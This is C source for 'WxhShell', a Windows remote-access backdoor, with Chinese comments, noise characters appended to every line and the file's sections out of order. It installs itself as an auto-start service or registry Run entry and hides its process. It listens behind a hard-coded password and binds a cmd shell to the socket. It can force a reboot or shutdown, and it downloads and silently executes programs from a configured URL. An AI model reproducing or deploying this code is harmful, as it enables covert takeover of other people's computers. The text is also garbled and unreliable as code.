    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @dhnpR :L  
    if(Boot(SHUTDOWN)) 6J3<k(#:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qoC<qn{.a  
    else { ,mE}#cyY  
    closesocket(wsh); 6dqI{T-i?  
    ExitThread(0); FMqes5\ 3  
    } jh~E!%d77  
    break; L\t?^u  
    } AK$i0Rn;pm  
  // 获取shell }Y3*X: i7  
  case 's': { JuR x>F4  
    CmdShell(wsh); `t]8 [P5  
    closesocket(wsh); Lr(My3vF8q  
    ExitThread(0); *V@t]d$=#  
    break; E qt\It9  
  } 3s,a%GOk  
  // 退出 FOSC#W9E  
  case 'x': { BvpUcICJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  0gJ{fcI  
    CloseIt(wsh); ua%j}%G(  
    break; M4L<u,\1s  
    } yOm#c>X  
  // 离开 sbq:8P#  
  case 'q': { ?#/~ BZR!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); eOUEhpE  
    closesocket(wsh); n,b6|Y0  
    WSACleanup(); fa(-&;q  
    exit(1); nm@.] "/  
    break; j k/-7/r  
        } 249DAjn+  
  } #7naI*O  
  } BBRZlx  
?p &Xf>K  
  // 提示信息 J L2g!n= K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'LLpP#(  
} $8NM[R.8^4  
  } `Wp& 'X  
aj$&~-/ R  
  return; n6#z{,W<3  
} |DXi~  
)3)fq:[  
// shell模块句柄 9_J'P2e  
int CmdShell(SOCKET sock) E.^F:$2  
{ *XluVochrb  
STARTUPINFO si; NV;T*I8O  
ZeroMemory(&si,sizeof(si)); A=BT2j'l)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q6%Pp_$k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d5lD!  
PROCESS_INFORMATION ProcessInfo; Z" dU$ ,n  
char cmdline[]="cmd"; ;b0;66C8|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )bK3%>H#  
  return 0; E5t /-4  
} Y?JB%%WWI  
ST[E$XL6  
// 自身启动模式 ?2Sm f  
int StartFromService(void) kntULI$`  
{ %[k"A  
typedef struct j.SE'a_  
{ ~.J{yrJ&  
  DWORD ExitStatus; aoU5pftC  
  DWORD PebBaseAddress; LTnbBh*mc  
  DWORD AffinityMask; G5!!^p~  
  DWORD BasePriority; }ZfdjF8N!  
  ULONG UniqueProcessId; +Sg+% 8T  
  ULONG InheritedFromUniqueProcessId; UkM#uKr:  
}   PROCESS_BASIC_INFORMATION; r.v.y[u  
;~Q`TWC  
PROCNTQSIP NtQueryInformationProcess; N=c{@h  
Lv:;}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a]0hB:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {R5_=MG  
5_4 =(?<  
  HANDLE             hProcess; eVGW4b  
  PROCESS_BASIC_INFORMATION pbi; saVX2j6Y  
O\}w&BE:h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g ~>nT>6  
  if(NULL == hInst ) return 0; P +Sgbtc  
lO8GnkLE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H8qWY"<Vd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )Xice=x9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :Oi}X7\  
a*!9RQ  
  if (!NtQueryInformationProcess) return 0; X-cP '"  
`/o|1vv@_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %H=^U8WB  
  if(!hProcess) return 0; M8f[ck  
\}; 4rm}V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |pR'#M4j4A  
!s[ gv1  
  CloseHandle(hProcess); 8,]wOxwqi  
FOS*X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /7K7o8g  
if(hProcess==NULL) return 0; *xDV8iu_  
GCp90  
HMODULE hMod; d"}lh:L9  
char procName[255]; gyOAvx  
unsigned long cbNeeded; <P-AlHYV-  
a#+;BH 1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #[y2nK3zF  
6Bn}W ?  
  CloseHandle(hProcess); *):s**BJ$  
DN|+d{^lN  
if(strstr(procName,"services")) return 1; // 以服务启动 1A N)%  
@g1T??h   
  return 0; // 注册表启动 kf_*=ER  
} iy|xF~  
E{[>j'dwc  
// 主模块 `i6q\-12n  
int StartWxhshell(LPSTR lpCmdLine) 7E R!>l+  
{ j.KV :zJU  
  SOCKET wsl; X^d}eWP`I  
BOOL val=TRUE; \d QRQL{LL  
  int port=0; 14p{V} f3  
  struct sockaddr_in door; Y$FhV~m  
gTg[!}_;\N  
  if(wscfg.ws_autoins) Install(); {1'M76T  
cEEnR1  
port=atoi(lpCmdLine); fILD~  
e(jD[q  
if(port<=0) port=wscfg.ws_port; gX/?  
py9`q7F  
  WSADATA data; >&)|fV&4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g7Z3GUCGL  
z<8WN[fB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6V-JyTcxGI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [`bA,)y"  
  door.sin_family = AF_INET; AnQUdU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?r^>Vk}  
  door.sin_port = htons(port); *ub"!}$st  
c1g'l.XL 3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (_eM:H=e>  
closesocket(wsl); ^1X 6DH`  
return 1; gA&`vnNP  
} sh}eKwh  
D^A#C<Gs  
  if(listen(wsl,2) == INVALID_SOCKET) { C40W@*6S2  
closesocket(wsl); T,v5cc:nO  
return 1; G[Jz(/yNH  
} TGI`}#  
  Wxhshell(wsl); Y2(,E e2  
  WSACleanup(); ;et(Yi;9  
?1Uq ud  
return 0; ;i&t|5y~  
r\m2Oo)]  
} !GtCOr\'  
Ol*|J  
// 以NT服务方式启动 =${ImMwj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) # 0/,teJ k  
{ 6R!AIOD>  
DWORD   status = 0; 'PdUSv|lH  
  DWORD   specificError = 0xfffffff; .a}!!\@  
^fvx2<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qino:_g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q$~_'I7~Mz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?wMS[Kj  
  serviceStatus.dwWin32ExitCode     = 0; )7a 4yTg!~  
  serviceStatus.dwServiceSpecificExitCode = 0; zO3}c3D~q  
  serviceStatus.dwCheckPoint       = 0; "Fqrk>Q~  
  serviceStatus.dwWaitHint       = 0; G_ 6!w//  
#=I5_u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H2E'i\  
  if (hServiceStatusHandle==0) return; w/Wd^+I In  
`+GiSj8'G  
status = GetLastError(); p+Icq!aH5  
  if (status!=NO_ERROR) -FQS5Zb.!  
{ poXT)2^)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; MMf_  
    serviceStatus.dwCheckPoint       = 0; Io<L! =>  
    serviceStatus.dwWaitHint       = 0; 9D51@b6k  
    serviceStatus.dwWin32ExitCode     = status; ,w7ZsI4:[  
    serviceStatus.dwServiceSpecificExitCode = specificError; d6~d)E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0mI4hy  
    return; I.)9:7   
  } i&JI"Dd7  
z=DK(b;$z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M.KXDD#O  
  serviceStatus.dwCheckPoint       = 0; Ir3|PehB  
  serviceStatus.dwWaitHint       = 0; \,yg@ R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9a{9|p>L  
} r+}<]?aT>-  
da5fKK/s  
// 处理NT服务事件,比如:启动、停止 fx/If  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^Rmrre`uU  
{ N1X;&qZDd  
switch(fdwControl) IdciGS6 t  
{ >~@ABLp 6  
case SERVICE_CONTROL_STOP: +<f!#4T  
  serviceStatus.dwWin32ExitCode = 0; p *GAs C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q:G3y[ P  
  serviceStatus.dwCheckPoint   = 0; ". wG~H  
  serviceStatus.dwWaitHint     = 0; TXfG@4~kC  
  { 9,0}}3J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5!7vD|6  
  } 'z">4{5  
  return; "I JcKoB  
case SERVICE_CONTROL_PAUSE: ?) FY7[x.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]H=P(Z -  
  break; 'jBtBFzP-  
case SERVICE_CONTROL_CONTINUE: (.~'\@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =B ts  
  break; j9 &0/ ~/  
case SERVICE_CONTROL_INTERROGATE: :c0 |w  
  break; Kg#s<#h  
}; *jo1?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )iCg,?SSw=  
} a}7P:e*u  
r8[Ywn <u  
// 标准应用程序主函数 eHH9#Vrhc$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gO m%?sg  
{ \`WAG>'l5  
n|!O .+\b  
// 获取操作系统版本 fh@/fd  
OsIsNt=GetOsVer(); KPI[{T\`ZM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >2;KPV0H  
G>W:3y  
  // 从命令行安装 Q?-uJ1J  
  if(strpbrk(lpCmdLine,"iI")) Install(); |~YhN'OJ  
6G>bZ+  
  // 下载执行文件 Tg6nb7@P  
if(wscfg.ws_downexe) { +g8uV hC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8'Q1'yc  
  WinExec(wscfg.ws_filenam,SW_HIDE); -/J2;AkGH  
} *uMtl'  
rOXh?r  
if(!OsIsNt) { $ 7uxReFZR  
// 如果时win9x,隐藏进程并且设置为注册表启动 S-G#+ Ue2  
HideProc(); mNr<=Z%b  
StartWxhshell(lpCmdLine); t[x[X4  
} 8Nxyc>8K~  
else *G;D u`;  
  if(StartFromService()) dV+GWJNNE  
  // 以服务方式启动 LZrkFkiC  
  StartServiceCtrlDispatcher(DispatchTable); (JeRJ4  
else _ +A$6l  
  // 普通方式启动 K@;ls  
  StartWxhshell(lpCmdLine); iuWw(dJk  
<zF/at  
return 0; b ;t b&o  
} 0vdnM8N2  
*Y- rEF>  
gBXJ/BW$y  
'2c4 4F)i  
=========================================== Wx-rW  
,ikn%l#cm  
/BfCh(B  
z;[Z'_B  
3|.KEJC"  
SLI358]$<  
" e+P|PW  
)lB*] n`Z]  
#include <stdio.h> %~YQl N  
#include <string.h> 9/LJ tM  
#include <windows.h> g;<_GL  
#include <winsock2.h> ut;KphvSH  
#include <winsvc.h> PVUNi: h  
#include <urlmon.h> 6Pu5 k;H  
nv"D  
#pragma comment (lib, "Ws2_32.lib") ?c# v'c^=h  
#pragma comment (lib, "urlmon.lib") 4p_@f^v~QH  
b:(*C  
#define MAX_USER   100 // 最大客户端连接数 >rzpYc'~w  
#define BUF_SOCK   200 // sock buffer  S]&7  
#define KEY_BUFF   255 // 输入 buffer ;gv9J [R  
t&Z:G<;  
#define REBOOT     0   // 重启 qf6}\0   
#define SHUTDOWN   1   // 关机 +G>;NiP_  
Gzu $  
#define DEF_PORT   5000 // 监听端口 KoO\<_@";  
3?oj46gP  
#define REG_LEN     16   // 注册表键长度 ~yuj;9m3  
#define SVC_LEN     80   // NT服务名长度 0i65.4sK  
jYJfo<  
// 从dll定义API $)Pmr1==  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *`.4M)Ym~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LjA>H>8%[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &y=~:1&f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pM'AhzS  
oFUP`p%[  
// wxhshell配置信息 a]|k w4  
struct WSCFG {  <IL$8a  
  int ws_port;         // 监听端口 )9JuQ_ R  
  char ws_passstr[REG_LEN]; // 口令 B$cx '_zF  
  int ws_autoins;       // 安装标记, 1=yes 0=no sy.U] QG  
  char ws_regname[REG_LEN]; // 注册表键名 NX4}o&mDwn  
  char ws_svcname[REG_LEN]; // 服务名 9b*1-1"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )t$|'c}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dsJHhsu6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;'J{ylRQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no XDi[Iyj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZICcZG_y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {,rVA(I@  
f; 1C)  
}; kKg%[zXS  
g>*t"Rf:  
// default Wxhshell configuration y*Wl(w3  
struct WSCFG wscfg={DEF_PORT, E-q*u(IW  
    "xuhuanlingzhe", z!6:Dt6^  
    1, l+1GA0'JP  
    "Wxhshell", |J#mgA}(  
    "Wxhshell", d^.fB+)A3  
            "WxhShell Service", (l3P<[[?  
    "Wrsky Windows CmdShell Service", sS|N.2*  
    "Please Input Your Password: ", \aG:l.IM0  
  1, kGSB6  
  "http://www.wrsky.com/wxhshell.exe", H:HJHd"W  
  "Wxhshell.exe" L'Fy\K\  
    }; A_WtmG_9  
&u/T,jy`  
// 消息定义模块 bqDHLoB\1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Hc{0O7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qSWnv`hL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pZ4]oK\*  
char *msg_ws_ext="\n\rExit."; P$=Y5   
char *msg_ws_end="\n\rQuit."; yy6?16@  
char *msg_ws_boot="\n\rReboot..."; R_2JP C  
char *msg_ws_poff="\n\rShutdown..."; uR7\uvibUO  
char *msg_ws_down="\n\rSave to "; :9`T.V<?  
*!*J5/ b  
char *msg_ws_err="\n\rErr!"; cSSrMYX2  
char *msg_ws_ok="\n\rOK!"; Z{ A)  
^L1#  
char ExeFile[MAX_PATH]; C,xM) V^a  
int nUser = 0; 0UB,EI8   
HANDLE handles[MAX_USER]; P]G`Y>#$r  
int OsIsNt; z@0*QZ.y 1  
{~"6/L  
SERVICE_STATUS       serviceStatus; !~&vcz0>)9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R2af>R  
I bd na9z7  
// 函数声明 O0gLu1*1v  
int Install(void); *X K9-%3  
int Uninstall(void); MMfcY 3#%  
int DownloadFile(char *sURL, SOCKET wsh); oZV=vg5Dq  
int Boot(int flag); =wW3Tr7~  
void HideProc(void); {rG`Upp  
int GetOsVer(void); [J|)DUjt  
int Wxhshell(SOCKET wsl); THM\-abz  
void TalkWithClient(void *cs); u9*}@{,  
int CmdShell(SOCKET sock); v@0lTl_  
int StartFromService(void); =U5lPsiv,3  
int StartWxhshell(LPSTR lpCmdLine); xED`8PCfu  
x_oL~~@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t4H@ZvAH0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |QvG;{!  
{zc<:^r^  
// 数据结构和表定义 e:Zc-  
SERVICE_TABLE_ENTRY DispatchTable[] = 0pS|t/h0  
{ ]r{-K63P{!  
{wscfg.ws_svcname, NTServiceMain}, lr[a~ca\  
{NULL, NULL} w$cic  
}; oO4 Wwi  
0omg%1vt<A  
// 自我安装 !ACWv*pW  
int Install(void) 2>3gC_^go  
{ K`nI$l7hg  
  char svExeFile[MAX_PATH]; j3bTa|UdT  
  HKEY key; [9WtoA,kx  
  strcpy(svExeFile,ExeFile); 6.Nu[-?  
>a;^=5E  
// 如果是win9x系统,修改注册表设为自启动  h7-!q@  
if(!OsIsNt) { IwIk;pB O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .Y%)&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nL+*-R!R  
  RegCloseKey(key); Hb3+$vJ^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q)c $^YsI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e'oM% G[  
  RegCloseKey(key); a<%WFix  
  return 0; 28;D>6c  
    } _$me.  
  } }*~EA=YN;  
} 7 N?x29  
else { `MgR/@%hr  
4-4lh TE(  
// 如果是NT以上系统,安装为系统服务 C^S?W=1=w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )*I=>v.Jq  
if (schSCManager!=0) %6}S'yL  
{ mN^92@eebC  
  SC_HANDLE schService = CreateService _M+'30  
  ( \fphM6([RK  
  schSCManager, \#[W8k<Z  
  wscfg.ws_svcname, )>atoA  
  wscfg.ws_svcdisp, EdA_Hf  
  SERVICE_ALL_ACCESS, 9x,Aqr$t  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fv !l{  
  SERVICE_AUTO_START, ujZki.x  
  SERVICE_ERROR_NORMAL, ,|_ewye  
  svExeFile, :z%vNKy1  
  NULL, &+-ZXN  
  NULL, S<f&?\wK=v  
  NULL, w~EXO;L2  
  NULL, z= -u89]  
  NULL mf'N4y%  
  ); t@1e9uR  
  if (schService!=0) `e0U-W]kF  
  { ^CTgo,uf6H  
  CloseServiceHandle(schService); p3:x\P<|  
  CloseServiceHandle(schSCManager); cve(pkl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +(5H$O{h  
  strcat(svExeFile,wscfg.ws_svcname); owTW_V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?#xNz=V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cI4%z eR  
  RegCloseKey(key); _=jc%@]1y  
  return 0; hi>Ii2T  
    } e| (jv<~r  
  } y UQ;tTI  
  CloseServiceHandle(schSCManager); GBvB0kC)c  
} VuwBnQ.2k  
} 5M{N-L_eC  
lph3"a^  
return 1; %5*gsgeI  
} ](NSpU|*  
g*ES[JJH&  
// 自我卸载 .s|n}{D_i  
int Uninstall(void) Z~8Xp  
{ _> .TB\  
  HKEY key; |v8>22y  
9u1)Kr=e  
if(!OsIsNt) { )_b #c+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4x=rew>Ew  
  RegDeleteValue(key,wscfg.ws_regname); Mk= tS+  
  RegCloseKey(key); Hjli)*ev  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M|FwYF^  
  RegDeleteValue(key,wscfg.ws_regname); +&tY&dQQB  
  RegCloseKey(key); K;G1cFFyG  
  return 0; f3U#|(%(*  
  } A\ze3fmV  
} BD,JBu]  
} jHBn^Nly  
else { mwCNfwb:  
-B$oq8)n*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); US'X9=b_  
if (schSCManager!=0) kR6rf_-[  
{ Kwfrh?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); WUAjb,eo  
  if (schService!=0) knpb$eX4  
  { X#5dd.RR  
  if(DeleteService(schService)!=0) { _< 69d  
  CloseServiceHandle(schService); "*#$$e53A  
  CloseServiceHandle(schSCManager); [X)+(-J  
  return 0; A,MRK#1u  
  } GC H= X  
  CloseServiceHandle(schService); Mq42^m:qe  
  } j*Q/vY!T  
  CloseServiceHandle(schSCManager); Gp$[u4-6M6  
} nTY`1w.;  
} @.T'  
|A 7Yv  
return 1; :D-d`OyjG>  
} Ka2U@fK"  
`8\pihww  
// 从指定url下载文件 @fT*fv   
int DownloadFile(char *sURL, SOCKET wsh) p{!aRB%  
{ NaG1j+LN  
  HRESULT hr; (iGk]Rtzt  
char seps[]= "/"; v*QobI  
char *token; z]Z>+|  
char *file; 5wRDH1z@{  
char myURL[MAX_PATH]; >9F,=63A  
char myFILE[MAX_PATH]; Q <^'v>~n  
b.h~QyI/W  
strcpy(myURL,sURL); kX\t0'=]  
  token=strtok(myURL,seps); J7emoD [  
  while(token!=NULL) O~9 %!LAu  
  { %fh ,e5(LT  
    file=token; =9y'6|>l  
  token=strtok(NULL,seps); 2#@S6zc  
  } )& %X AW{  
=]\,I'  
GetCurrentDirectory(MAX_PATH,myFILE); ,\[&%ph  
strcat(myFILE, "\\"); R8Lp8!F'  
strcat(myFILE, file); iYHD:cg)~  
  send(wsh,myFILE,strlen(myFILE),0); =bZ>>-<  
send(wsh,"...",3,0); fV Ah</aZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R7e`Wn  
  if(hr==S_OK) l:8gCi  
return 0;  #It{B  
else aT(Pf7 O  
return 1; v/8K?$"q  
tn6\0_5n  
} Jm\'=#U#  
0^]E-Zf  
// 系统电源模块 /%$'N$@f  
int Boot(int flag) n O$(\ z)  
{ U[c,cdA  
  HANDLE hToken; iF{eGi  
  TOKEN_PRIVILEGES tkp; )1lR;fD  
ai`fP{WlX  
  if(OsIsNt) { f<uLbJ6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JV/K ouL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2z:4\Y5  
    tkp.PrivilegeCount = 1; W4QVWn %3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =! 9+f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +J]3)8 y+  
if(flag==REBOOT) { 7zVaj"N(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8 ]dhNA5  
  return 0; p<`q^D  
} t}qoIxy)  
else { Io5-[d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aoco'BR F  
  return 0; _z)G!_7.>\  
} st|$Fu  
  } E4HG`_cWb  
  else { u\ytiGO*  
if(flag==REBOOT) { _|wgw^.LJ]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 37a"<  
  return 0; -/B}XN W  
} E%3WJ%A  
else { lK9us  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8K]fw{-$L  
  return 0; ><TuL7+  
} pYI`5B4  
} Od>Ta_  
(pH13qU5  
return 1; >72j,0=e  
} `w@fxv   
)mB+#T<k-  
// win9x进程隐藏模块 K:V_,[gO  
void HideProc(void) }v;@1[.B  
{ nDkyo>t .  
:upi2S_e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \Z ] <L  
  if ( hKernel != NULL ) )j4]Y dJ  
  { %8yfF rk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'vhgR2/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fR~_5 pt7  
    FreeLibrary(hKernel); k5$_Q#  
  } J1 a/U@"  
lHV bn7  
return; vy,ER<  
} FaPX[{_E  
Jq l#z/z  
// 获取操作系统版本 =~?2i)-mC  
int GetOsVer(void) ?M;2H {KG:  
{ Q SW03/_f  
  OSVERSIONINFO winfo; gPT-zul  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 245(ajxHC  
  GetVersionEx(&winfo); bkceR>h%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &0It"17Ej  
  return 1; @7" xDgA  
  else yj `b-^$?  
  return 0; "k)( ,  
} mF%>pj&b  
H(lq=M0~  
// 客户端句柄模块 ..Zuy|?w  
int Wxhshell(SOCKET wsl) b DeHU$  
{ !Q*.Dw()[  
  SOCKET wsh; 9FP6Z[4  
  struct sockaddr_in client; ' 6Ybf  
  DWORD myID; S s@\'K3e  
 PQa {5"  
  while(nUser<MAX_USER) KX"?3#U#Fm  
{ t*.O >$[  
  int nSize=sizeof(client); o`+6E q0w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XK`>#*"V  
  if(wsh==INVALID_SOCKET) return 1; yXh=~:1~  
(i.MxG Dd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'D1 T"}  
if(handles[nUser]==0) 2wlrei  
  closesocket(wsh); !Z YMks4  
else f#ID:Ap3  
  nUser++; =V5<>5"M?  
  } U8c0N<j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _.' j'j%  
_;O$o t\5  
  return 0; /j0<x^m/  
} 7Wmk"gp  
z[M LMf[c  
// 关闭 socket .6z#o{n  
void CloseIt(SOCKET wsh) czi$&(N0w$  
{ %ErL L@e  
closesocket(wsh); L Bb&av  
nUser--; Cl7IP<.  
ExitThread(0); 8+k\0fmy  
} !l?Go<^*L  
Op" \i   
// 客户端请求句柄 54_CewL1P]  
void TalkWithClient(void *cs) =W.b7 6_  
{ nC$f0r"z  
xlp^XT6#  
  SOCKET wsh=(SOCKET)cs; @N7X(@O  
  char pwd[SVC_LEN]; Tsxl4ZK  
  char cmd[KEY_BUFF]; S`8 h]vX  
char chr[1]; |P$tLOrG  
int i,j; ``nuw7\C:  
?_%*{]mt(  
  while (nUser < MAX_USER) { :UoZ`O~  
p(8H[L4Y  
if(wscfg.ws_passstr) { &$lz@Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G!RbM.6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :@y!5[88!  
  //ZeroMemory(pwd,KEY_BUFF); Y#{ L}  
      i=0; M n`gd#  
  while(i<SVC_LEN) { &{!FE`ZC_  
Y/2@PzA|  
  // 设置超时 Wrf('  
  fd_set FdRead; KqG:o+V=  
  struct timeval TimeOut; J/>Y mi,  
  FD_ZERO(&FdRead); XpJT/&4  
  FD_SET(wsh,&FdRead); (@B gsY  
  TimeOut.tv_sec=8; :;cKns0OA  
  TimeOut.tv_usec=0; = 7d{lK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "a6[FqTs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \sEq r)\k  
BD&JbH!(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3V?JX5X\  
  pwd=chr[0]; ]{jdar^  
  if(chr[0]==0xd || chr[0]==0xa) { 1\z5[ _  
  pwd=0; 1.+0=M[h  
  break; 3lcd:=  
  } Z `sM(?m  
  i++; \hai  
    } N\ChA]Ck  
a[Ah  
  // 如果是非法用户,关闭 socket vR.=o*!%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fW~r%u .y  
} =Bcwd7+  
{u{n b3/jl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U$Z)v1&{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mHrt)0\_  
KhIg  
while(1) { L9M0vkgri  
;{[&&qMwU  
  ZeroMemory(cmd,KEY_BUFF); wHq*)7#h#  
>B<jR$`6@  
      // 自动支持客户端 telnet标准   L:nZ_O;  
  j=0; pUutI|mt/  
  while(j<KEY_BUFF) { g VX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bCHJLtDQ  
  cmd[j]=chr[0]; -`sK?*[{J  
  if(chr[0]==0xa || chr[0]==0xd) { % 3d59O  
  cmd[j]=0; xa5^h]o   
  break; i2j_=X-  
  } HJ?p,V q5_  
  j++; -f@~{rK.L  
    } &\#If:  
I(y:Td  
  // 下载文件 4/vQ/>c2j  
  if(strstr(cmd,"http://")) { V]dzKNFi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lK;|ciq"c7  
  if(DownloadFile(cmd,wsh)) ;|*o^9q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F`IV9qv  
  else }K1v=k  
